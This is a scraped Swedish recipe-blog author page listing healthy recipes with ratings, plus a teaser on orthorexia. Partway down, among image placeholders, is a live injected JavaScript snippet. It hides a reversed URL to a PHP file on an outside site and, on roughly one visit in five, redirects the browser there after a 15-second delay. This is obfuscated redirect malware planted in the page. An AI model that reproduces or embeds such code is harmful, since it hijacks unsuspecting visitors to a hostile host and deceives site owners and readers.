Författare: Jenny Mårtensson

All Recipes and Posts by Jenny Mårtensson

image

Bananpannkakor

Genomsnittligt betyg: (3.5 / 5)

Enkelt och gott recept på pannkakor till frukost

Läs mer
image

Syrlig hallonsmoothie

Genomsnittligt betyg: (4.3 / 5)

Syrlig smoothie med smak av hallon och banan

Läs mer
image

Fisksoppa med smak av tomat och vitlök

Genomsnittligt betyg: (5 / 5)

Härlig fisksoppa med smak av vitlök

Läs mer
image

Hamburgare med äggbröd

Genomsnittligt betyg: (4.6 / 5)

Ett nyttigare och roligare alternativ till den vanliga hamburgaren

Läs mer
image

Glasstårta med proteinpulver

Genomsnittligt betyg: (4.8 / 5)

Glasstårta med proteinpulver

Läs mer

Ortorexi – När hälsosamt blir ohälsosamt

By: | 0 Comments | On: August 29, 2013 | Category : Jenny Mårtensson

Ortorexi får man om man är överdrivet fixerad vid kvalitén på maten istället för mängden. De är noggranna med vad de stoppar i sig och fastnar i ett tvångsmässigt ”hälsokostätande” tills de blir så pass allvarligt att de ger negativa konsekvenser dvs. när nyttigt blir sjukligt. En med ortorexi får...

Read more
image

Mugcake med smak av banan och choklad

Genomsnittligt betyg: (3.8 / 5)

En rolig variant av havregrynsgröten

Läs mer
image

Köttbullar med grönsaker och gräddsås

Genomsnittligt betyg: (5 / 5)

Enkelt och gott recept på köttbullar av nötfärs.

Läs mer
image

Äggpannkaka med smak av kanel

Genomsnittligt betyg: (5 / 5)

Väldigt god pannkaka för dig som inte vill använda något mjöl

Läs mer
image

Korvstroganoff med kycklingkorv & råris

Genomsnittligt betyg: (3.8 / 5)

Korvstroganoff med Kycklingkorv

Läs mer
image

Hallonkräm

Genomsnittligt betyg: (5 / 5)

Nyttig variant av hallonkräm

Läs mer
image

Tacokyckling

Genomsnittligt betyg: (4.2 / 5)

God Kycklingrätt för dig som gillar tacos

Läs mer
image

Smörstekt torsk med grönsaker och kesoröra

Genomsnittligt betyg: (4.3 / 5)

Enkelt & gott recept med torsk, grönsaker och keso

Läs mer
image

Lax & Räksoppa toppat med Keso

Genomsnittligt betyg: (5 / 5)

Enkel & god fisksoppa

Läs mer
image

Sommarsallad med lax & räkor

Genomsnittligt betyg: (5 / 5)

Lyxig lax & räksallad

Läs mer
image

Äggmuffins med Avokado

Genomsnittligt betyg: (5 / 5)

En roligare variant på omeletten

Läs mer
image

Kycklingbullar & Smörstekta Grönsaker

Genomsnittligt betyg: (5 / 5)

Enkelt och gott recept för dig som vill byta ut den vanliga köttfärsen.

Läs mer
image

Nötgryta med Matvete

Genomsnittligt betyg: (5 / 5)

Ett enkelt recept för dig som gillar köttgrytor och vill äta långsamma kolhydrater. Går lika bra att ta bort matvetet ...

Läs mer
image

Kycklingbullar med vitlök

Genomsnittligt betyg: (4.5 / 5)

Det här receptet passar dig som gillar att ha frukt i maten. Ett sommarrecept för dig

Läs mer
image

Sesamkyckling

Genomsnittligt betyg: (4.1 / 5)

Ett roligare recept för dig som gillar kyckling men vill ha lite ny inspiration

Läs mer
image

Muffins med Proteinpulver

Genomsnittligt betyg: (5 / 5)

Det här är ett enkelt recept för dig som tycker och att baka men vill välja ett nyttigare alternativ!

Läs mer
image

Proteinfrukost

Genomsnittligt betyg: (4 / 5)

• 2 Ägg • 5 skivor Kalkon • 4 st Cocktailtomater • 1 Champinjon • Ruccolla • Salt & Peppar ...

Läs mer
image

Kyckling med ugnsgrönsaker

Genomsnittligt betyg: (3.6 / 5)

Enkel Kycklingrätt

Läs mer
image
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}elbollar" href="http://deffrecept.se/wp-content/uploads/2013/06/image8.jpg"> image
image
image
image
image
image
image
bild2
image
image
image
image
image
image
image
image

Blåbärsgröt

Genomsnittligt betyg: (4 / 5)

Uppiggande morgongröt

Läs mer
image
image
image

Tortillapizza

Genomsnittligt betyg: (3.7 / 5)

En god och nyttig pizza på ett nytt sätt

Läs mer
image

Grekiska biffar med stekta grönsaker

Genomsnittligt betyg: (4.1 / 5)

Grekiska biffar med stekta grönsaker

Läs mer
image

Banan & Kokospannkakor

Genomsnittligt betyg: (5 / 5)

• 1 mogen Banan • 2 msk Kokosmjöl • 2 Ägg • 1 msk mjölk • 50 g Kvarg • ...

Läs mer
image

Rosa Kokosbollar

Genomsnittligt betyg: (5 / 5)

• 3 dl Riven Kokos • 1 Skopa Proteinpulver, Jordgubb el liknande (Jordgubb/Vit choklad Fitnessguru) • 2 msk Kokosolja • ...

Läs mer
image

Detoxsmoothie

Genomsnittligt betyg: (4.5 / 5)

• 1 Äpple • 1 Kiwi • 1 cm Ingefära • 1 msk Linfrön • 1 näve färsk/fryst Granatäpple • ...

Läs mer
image

Omelettmuffins

Genomsnittligt betyg: (2.3 / 5)

• 4 Ägg • 1/2 dl Mjölk • 100 g Fetaost • 4 skivor Lufttorkad skinka (alt. annan skinka) • ...

Läs mer
22aa3c4e977811e2b3d922000a9f309f_7

Bananpannkaka

Genomsnittligt betyg: (2.8 / 5)

av Linnéa Henriksson

Läs mer